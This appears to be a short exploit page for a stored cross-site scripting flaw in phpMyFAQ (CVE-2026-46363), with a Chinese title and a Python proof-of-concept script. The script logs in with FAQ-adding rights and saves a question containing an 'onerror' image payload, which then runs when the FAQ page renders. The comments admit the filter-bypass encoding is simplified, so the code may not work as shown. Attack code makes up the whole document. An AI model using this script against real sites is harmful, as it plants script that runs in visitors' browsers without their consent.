CVE-2026-46363 phpMyFAQ 存储型XSS漏洞

# PoC for CVE-2026-46363 # This script demonstrates the injection of a payload into phpMyFAQ. # Requires authentication with FAQ_ADD permissions. import requests def exploit(target, username, password): session = requests.Session() # 1. Authenticate login_url = f"{target}/index.php?action=login" creds = {"username": username, "password": password} session.post(login_url, data=creds) # 2. Inject Payload (Simplified representation of encode-decode bypass) # The payload might need specific encoding to bypass the initial filter. # The 'raw' Twig filter ensures execution upon rendering. xss_payload = '<img src=x onerror=alert(1)>' add_faq_url = f"{target}/index.php?action=save" data = { "question": xss_payload, "answer": "This answer contains stored XSS.", "submit": "Save" } res = session.post(add_faq_url, data=data) if res.status_code == 200: print("[+] Payload injected successfully!") print(f"[+] Check the FAQ page at {target}/index.php?action=faq") else: print("[-] Injection failed.") # Usage # exploit("http://localhost/phpmyfaq", "admin", "password")